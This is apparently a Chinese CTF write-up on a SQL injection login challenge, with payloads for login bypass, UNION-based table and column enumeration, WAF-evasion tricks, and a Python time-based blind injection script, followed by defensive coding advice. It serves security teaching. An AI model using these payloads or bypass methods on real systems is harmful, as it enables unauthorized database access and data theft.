CTF Writeup | Easy SQL:从登录绕过到脱库的完整攻防实战 题目来源BUUCTF / CTF公开赛经典题分类Web安全难度⭐⭐ 入门级Easy考点字符型SQL注入、联合注入UNION注入、信息搜集、WAF绕过知识储备SQL基础语法、MySQL系统表结构、HTTP基础、浏览器开发者工具一、题目背景与初步探测1.1 场景描述本题提供了一个简易的管理员登录页面页面结构非常简单一个用户名输入框一个密码输入框一个登录按钮页面顶部有一行提示文字输入管理员账号密码获取权限。 在CTF比赛中看到管理员、登录等字眼时要立刻警觉——这往往暗示我们需要通过非正常手段获取管理员权限而非暴力破解。1.2 初步信息收集首先进行基础的测试正常登录测试输入admin/123456页面返回提示plaintext912账号或密码错误这说明后台存在数据库查询验证逻辑且admin这个用户名确实存在于数据库中否则可能提示用户不存在以区分错误类型。特殊字符测试在用户名字段输入单引号页面返回plaintext912You have an error in your SQL syntax; check the manual that corresponds to your MySQL server right syntax to use near AND password... at line 1关键信息提取错误类型为MySQL语法错误—— 确认数据库为MySQL错误信息泄露了部分SQL语句结构—— 可以看到后面紧跟着AND password错误回显存在—— 这是一个回显注入我们可以直接从页面获取查询结果1.3 推测后台SQL语句根据错误信息和常见的登录验证逻辑可以推测后台的SQL查询语句如下sql91234SELECT * FROM usersWHERE username[用户输入的用户名]AND password[用户输入的密码]当用户输入admin时实际执行的SQL为sql91234SELECT * FROM usersWHERE usernameadminAND password123456当用户输入admin时单引号提前闭合了username字段的字符串定界符导致SQL语法被破坏sql91234SELECT * FROM usersWHERE usernameadminAND password123456这里的admin在MySQL中是非法的语法多了一个未转义的单引号因此数据库抛出语法错误。核心判断这是一个字符型注入与数字型注入相对。字符型注入的特点是在注入payload中需要手动闭合引号而数字型注入不需要。区分方式输入报错、输入即转义后的单引号正常则为字符型注入。二、核心解题步骤Step 1登录绕过 —— 恒真条件构造目标在不了解正确密码的情况下通过构造恶意输入使WHERE条件永远为真从而以任意用户身份登录。Payload在用户名输入框中填入plaintext912admin OR 11 --原理解析拼接后的SQL语句变为sql91234SELECT * FROM usersWHERE usernameadmin OR 11 -- AND password任意内容逐部分分析表格片段作用admin闭合username字段的左引号OR 11添加一个恒真的条件使整个WHERE子句始终返回 true--MySQL单行注释符注意末尾需要加空格将后面的密码验证部分注释掉WHERE子句的逻辑运算plaintext91234567usernameadmin OR 11↓ ↓FALSE TRUE\ /\ /OR 运算 → TRUE恒真最终数据库返回users表的全部记录或第一条匹配记录成功绕过登录验证。注释符说明MySQL中可用的注释方式--双横线空格标准SQL注释空格不可省略#MySQL特有的注释符URL编码为%23/ **/内联注释也可用于截断后续语句⚠️实战注意在HTTP GET请求中#会被浏览器当作URL的fragment标识符不会发送到服务端因此需要用%23代替而--中的空格在URL中需要编码为%20即--或--%20。Step 2探测字段数 —— ORDER BY 注入目标确定SELECT查询的字段数量为后续的UNION SELECT注入做准备。Payload将用户名框清空填入plaintext912 ORDER BY 3 --页面正常返回无报错。再尝试plaintext912 ORDER BY 4 --页面报错plaintext912Unknown column 4 in order clause原理解析ORDER BY N的含义是按第 N 个字段排序。如果查询的字段数少于 NMySQL 会报错Unknown column。由此得出结论表格ORDER BY结果含义ORDER BY 3✅ 正常第3个字段存在ORDER BY 4❌ 报错第4个字段不存在→ **查询共有 3 个字段 **。ORDER BY方法本质上是二分查找的思想。在实际比赛中如果字段数很多可以先用二分法定位如先试 ORDER BY 16、32、64...减少请求次数。也可以用UNION SELECT NULL,NULL,NULL的方式来探测报错的字段数量不匹配时会直接提示列数不一致。Step 3定位回显点 —— UNION SELECT目标在3个字段中找到哪些字段的值会显示在页面上即回显位后续我们将利用这些位置来输出查询结果。Payloadplaintext912 UNION SELECT 1,2,3 --原理解析拼接后的SQL语句sql912345SELECT * FROM usersWHERE usernameUNION SELECT 1,2,3 -- AND password...UNION SELECT的作用是将第二条查询的结果集合并到第一条的结果中。如果第一条查询返回空集username大概率匹配不到记录则页面只显示第二条查询的结果。页面显示内容为plaintext9122→ **第2个字段是回显点 **。回显点选择策略在3个字段中表格字段位置显示情况用途第1字段未显示不可用第2字段显示为 2✅主要回显点第3字段未显示不可用因此后续所有通过UNION SELECT注入获取的数据都需要放在第2个字段的位置plaintext912 UNION SELECT 1,[目标数据],3 --为什么第一个查询要返回空如果username能匹配到记录第一条查询的结果会和UNION的结果一起显示造成干扰。确保第一个查询为空的方法用一个不存在的用户名如 UNION...或者直接让用户名框为单个引号。Step 4获取当前数据库名Payloadplaintext912 UNION SELECT 1,database(),3 --结果页面返回plaintext912ctf_db原理解析database()是MySQL内置函数返回当前连接的数据库名称。在CTF中获取数据库名是信息收集的第一步它帮助我们了解目标数据库的命名和结构。常用MySQL信息收集函数一览表格函数作用database()当前数据库名user()/current_user()当前数据库用户version()MySQL版本datadir数据库存储目录version_compile_os操作系统版本schema()等价于database()Step 5获取所有表名Payloadplaintext912 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schemadatabase() --结果页面返回plaintext912users,flag_table原理解析information_schema是MySQL的元数据库存储了所有数据库的结构信息表格系统表存储内容information_schema.tables所有数据库中的所有表名information_schema.columns所有表中的所有列名information_schema.schemata所有数据库名关键过滤条件table_schemadatabase()—— 限定为当前数据库ctf_db否则会把MySQL系统表也列出来GROUP_CONCAT()函数将多行结果合并为一行以逗号分隔。如果不使用GROUP_CONCAT()回显点只显示第一条记录的表名。GROUP_CONCAT()默认最大长度为 1024 字节。如果表名/列名很多结果可能被截断。可以通过SET SESSION group_concat_max_len100000来扩大限制但在CTF的UNION注入中无法执行多条语句因此通常使用LIMIT分页读取sql9123 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1 -- UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schemadatabase() LIMIT 1,1 --Step 6获取 flag_table 的列名Payloadplaintext912 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_nameflag_table --结果页面返回plaintext912id,flag_content原理解析查询information_schema.columns通过table_nameflag_table过滤出目标表的所有列名。可以看到flag_table有两个字段表格列名推测用途id主键/序号flag_content存储flag的字段⚠️注意引号处理当table_name的值需要用字符串表示时在UNION注入中需要注意引号的嵌套问题。外层已经有单引号闭合了username字段这里flag_table的单引号不会冲突因为它们处于不同的SQL字符串上下文中。Step 7获取 FlagPayloadplaintext912 UNION SELECT 1,flag_content,3 FROM flag_table --结果页面返回plaintext912flag{sql_inj3ct1on_1s_easy!}恭喜成功获取Flag完整攻击链路回顾plaintext9912345678910111213141516171819202122┌─────────────────────────────────────────────────────────┐│ 攻击链路总结 │├─────────────────────────────────────────────────────────┤│ ││ 1. 输入 admin → 发现MySQL语法错误 → 确认字符型注入 ││ ↓ ││ 2. admin OR 11 -- → 恒真条件 → 登录绕过成功 ││ ↓ ││ 3. ORDER BY 3/4 → 确定查询有3个字段 ││ ↓ ││ 4. UNION SELECT 1,2,3 → 确定第2字段为回显点 ││ ↓ ││ 5. database() → 数据库名: ctf_db ││ ↓ ││ 6. information_schema → 表名: users, flag_table ││ ↓ ││ 7. information_schema → 列名: id, flag_content ││ ↓ ││ 8. SELECT from table → flag{sql_inj3ct1on_1s_easy!} ││ │└─────────────────────────────────────────────────────────┘三、进阶技巧WAF绕过在实际CTF比赛和真实渗透场景中服务端往往会部署WAFWeb Application FirewallWeb应用防火墙来拦截常见的SQL注入payload。以下是几种常用的绕过技术3.1 大小写混淆WAF通常基于关键词匹配进行检测。MySQL的SQL关键字**不区分大小写 **但WAF可能只检测特定大小写模式。sql9123456-- 原始payload易被检测 UNION SELECT 1,database(),3 ---- 大小写混淆后 uNiOn SeLeCt 1,database(),3 --3.2 内联注释Inline CommentMySQL特有的内联注释语法/*!...*/中的内容会被正常执行但很多WAF不会解析注释内的内容。sql9123456-- 内联注释绕过 /*!UNION*/ /*!SELECT*/ 1,database(),3 ---- 更激进的写法将关键字拆开 /*!50000UNION*//*!50000SELECT*/ 1,database(),3 --/*!50000...*/中的数字是MySQL最低版本号要求50000代表5.0.0版本以上。MySQL会执行注释中版本号满足条件的内容而大多数WAF不会识别这种语法。3.3 特殊字符编码在HTTP传输层面进行编码变换表格编码方式示例说明URL编码%27单引号、%20空格基础的URL编码双重URL编码%2527%27再编码一次部分WAF只做一次解码Unicode编码%u0027单引号IIS服务器常见Hex编码0x61646D696Eadmin绕过字符串匹配3.4 空白符替代用其他空白字符替代空格sql9912345678910111213-- Tab替代 UNION SELECT 1,database(),3 ---- 换行符替代UNIONSELECT1,database(),3---- 括号包裹不需要空格UNION(SELECT(1),database(),(3))--3.5 时间盲注方案当页面无任何回显既无数据回显也无错误回显时可以使用**时间盲注Time-based Blind Injection **。基本原理通过条件判断语句控制数据库的响应时间条件为真则执行SLEEP()条件为假则立即返回。通过观察响应时间来逐位推断数据。Payload 示例sql912 AND IF(SUBSTR(database(),1,1)c,SLEEP(5),1) --执行逻辑plaintext9123456IF(SUBSTR(database(),1,1)c, SLEEP(5), 1)↓ ↓取数据库名第1个字符 如果等于c休眠5秒↓否则立即返回约0秒通过观测响应时间响应时间 ≈ 5秒 → 条件为真 → 第1个字符是c响应时间 ≈ 0秒 → 条件为假 → 第1个字符不是c自动化脚本思路Python requestspython9912345678910111213141516171819202122import requestsimport timeurl http://target.com/login.phpresult for i in range(1, 50): # 最多猜50个字符for char in abcdefghijklmnopqrstuvwxyz0123456789{}_:payload fadmin AND IF(SUBSTR(database(),{i},1){char},SLEEP(2),1) -- data {username: payload, password: anything}start time.time()requests.post(url, datadata)elapsed time.time() - startif elapsed 2: # 响应时间≥2秒说明猜对了result charprint(f[] 第{i}位: {char} | 当前结果: {result})breakprint(f\n[✓] 数据库名: {result})效率优化实际脚本中应使用二分法而非遍历所有字符将每位猜测次数从38次降低到约6次log₂(38) ≈ 5.25。可以使用ASCII()函数配合比较运算符sql912IF(ASCII(SUBSTR(database(),1,1))109, SLEEP(2), 1)四、知识点总结4.1 SQL注入漏洞原理SQL注入的本质是**代码与数据未分离 **——用户输入被直接拼接到SQL语句中使得攻击者可以改变SQL语句的逻辑结构。plaintext9123正常意图用户输入 数据作为查询条件攻击意图用户输入 代码改变SQL逻辑4.2 SQL注入类型分类表格类型判断依据典型场景字符型注入输入报错需闭合引号WHERE name[输入]数字型注入输入不报错输入AND 11有差异WHERE id[输入]联合查询注入页面有回显位可用UNION SELECT本题场景布尔盲注页面无回显数据但能区分真/假响应登录成功/失败两种状态时间盲注页面完全无差异只能通过响应时间判断IF()SLEEP()堆叠注入支持;分隔多条语句SQL Server、部分PHP配置二次注入恶意数据在存储时正常在后续读取时触发注册恶意用户名后台查询时拼接4.3 常用SQL注入速查表sql991234567891011121314151617181920212223242526272829-- 判断注入类型 -- 字符型报错 -- 字符型报错) -- 括号闭合型报错1 AND 11 -- 数字型页面不同-- 信息收集database() -- 当前数据库user() -- 当前用户version() -- MySQL版本datadir -- 数据目录-- 联合查询UNION SELECT 1,2,3 -- 探测回显点UNION SELECT 1,database(),3 -- 获取数据库名-- 脱库三板斧-- 表名SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schemadatabase()-- 列名SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_namexxx-- 数据SELECT column_name FROM target_table-- 条件判断与延时IF(condition, true_value, false_value)SLEEP(N)BENCHMARK(count, expr)五、防御建议作为安全从业者我们不仅要会攻更要会防。以下是针对SQL注入的系统性防御方案5.1 参数化查询最根本的防御参数化查询Prepared Statement将SQL逻辑与数据彻底分离即使用户输入包含SQL关键字也只会被当作纯数据处理。Java (JDBC)java99123456789101112// ❌ 错误做法字符串拼接String sql SELECT * FROM users WHERE username username ;Statement stmt conn.createStatement();ResultSet rs stmt.executeQuery(sql);// ✅ 正确做法参数化查询String sql SELECT * FROM users WHERE username? AND password?;PreparedStatement pstmt conn.prepareStatement(sql);pstmt.setString(1, username);pstmt.setString(2, password);ResultSet rs pstmt.executeQuery();Python (MySQL Connector)python9123456# ❌ 错误做法cursor.execute(fSELECT * FROM users WHERE username{username})# ✅ 正确做法cursor.execute(SELECT * FROM users WHERE username%s AND password%s, (username, password))PHP (PDO)php912345// ✅ 正确做法$stmt $pdo-prepare(SELECT * FROM users WHERE username :username AND password :password);$stmt-execute([username $username, password $password]);$user $stmt-fetch();5.2 输入验证与过滤python912345678import redef validate_username(username):白名单验证只允许字母、数字、下划线if not re.match(r^[a-zA-Z0-9_]{3,20}$, username):raise ValueError(用户名格式不合法)return username5.3 权限最小化原则sql912345678-- ❌ 危险应用程序使用root账户连接数据库GRANT ALL PRIVILEGES ON *.* TO app_user%;-- ✅ 安全只授予必要的权限CREATE USER app_user% IDENTIFIED BY strong_password;GRANT SELECT, INSERT ON ctf_db.users TO app_user%;-- 不授予 DROP, DELETE, ALTER, FILE 等高危权限5.4 其他防御层次表格防御措施说明优先级参数化查询从根本上杜绝注入⭐⭐⭐⭐⭐ORM框架如MyBatis、SQLAlchemy内置防注入⭐⭐⭐⭐⭐WAF部署作为纵深防御的一层但不应作为唯一防线⭐⭐⭐错误处理生产环境关闭详细错误回显使用统一错误页面⭐⭐⭐⭐最小权限数据库账户只授必要权限⭐⭐⭐⭐安全审计定期代码审计使用SQLMap等工具检测⭐⭐⭐六、参考链接OWASP SQL InjectionSQL Injection | OWASP FoundationMySQL 官方文档 - INFORMATION_SCHEMAhttps://dev.mysql.com/doc/refman/8.0/en/information-schema.htmlSQLi Cheat Sheet - Netsparkerhttps://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/PortSwigger Web Security Academy - SQL InjectionWhat is SQL Injection? Tutorial Examples | Web Security AcademyBUUCTF 在线评测平台BUUCTF在线评测PayloadsAllTheThings - SQL Injectionhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20InjectionSQLMap 官方文档sqlmap — automatic SQL injection and database takeover tool七、结语本题虽然标记为Easy但它完整地展示了SQL注入攻击的核心链路** 信息收集 → 漏洞确认 → 注入利用 → 数据提取 **。在实际的安全评估中SQL注入依然是危害最严重的Web漏洞之一——它可能导致数据泄露、权限提升甚至服务器被完全控制。记住一条铁律** 永远不要信任用户的输入**。There are only two types of people in this world: those who have been hacked, and those who dont know theyve been hacked.只有两种人被黑过的和不知道自己被黑了的。本文仅用于CTF学习与安全技术研究请遵守相关法律法规切勿用于非法用途。如果觉得本文对你有帮助欢迎点赞、收藏、转发。有问题欢迎在评论区交流讨论

相关新闻

最新新闻

低代码+MES制造执行系统:技术架构与代码实操指南

低代码+MES制造执行系统:技术架构与代码实操指南

搭贝AI低代码平台是一款面向全体量企业的全行业通用企业级低代码平台,依托独立通用底层架构,无行业使用限制,兼顾业务人员零代码搭建、IT人员深度扩展,区别市面轻量化部门级零代码工具,可支撑企业轻量化办公核心业务数…

2026/7/7 7:02:15
英雄联盟终极工具箱:5分钟快速掌握League Akari的完整使用指南 [特殊字符]

英雄联盟终极工具箱:5分钟快速掌握League Akari的完整使用指南 [特殊字符]

英雄联盟终极工具箱:5分钟快速掌握League Akari的完整使用指南 🚀 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power 🚀. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit 你是…

2026/7/7 7:02:15
从alert到location.href:DOM型XSS攻击原理与实战防御

从alert到location.href:DOM型XSS攻击原理与实战防御

1. 项目概述:从“弹窗”到“跳转”的XSS思维跃迁 如果你接触过Web安全,尤其是跨站脚本攻击,那么“alert(1)”这个弹窗对你来说一定不陌生。它几乎是所有XSS入门教程和靶场的第一课,用来证明漏洞的存在。但实战中,攻击者…

2026/7/7 7:02:15
Modbus协议本质解析:RTU/ASCII/TCP报文结构与CRC16校验原理

Modbus协议本质解析:RTU/ASCII/TCP报文结构与CRC16校验原理

1. Modbus不是“软件”,而是一套工业现场的通用语言很多人第一次听说Modbus,是在下载“Modbus Poll”或“Modbus Slave”这类工具时——点开安装包,弹出注册密钥框,心里一紧:“这该不会是盗版吧?”接着搜“…

2026/7/7 7:02:15
单片机晶振电路PCB布局3大核心要点:从原理到解决EMI干扰

单片机晶振电路PCB布局3大核心要点:从原理到解决EMI干扰

单片机晶振电路PCB布局的3个黄金法则:从EMI抑制到信号完整性优化 在嵌入式硬件设计的战场上,晶振电路如同系统的心跳发生器,其布局质量直接决定了整个电路的"生命体征"。我曾亲眼见证过一个智能家居主控板因晶振布局不当导致的诡异…

2026/7/7 7:02:15
QQ音乐解析技术深度解析:逆向工程与API架构设计

QQ音乐解析技术深度解析:逆向工程与API架构设计

QQ音乐解析技术深度解析:逆向工程与API架构设计 【免费下载链接】MCQTSS_QQMusic QQ音乐解析 项目地址: https://gitcode.com/gh_mirrors/mc/MCQTSS_QQMusic 技术挑战与行业痛点 在数字音乐版权保护日益严格的今天,音乐平台API接口的封闭性给开发…

2026/7/7 6:57:14

月新闻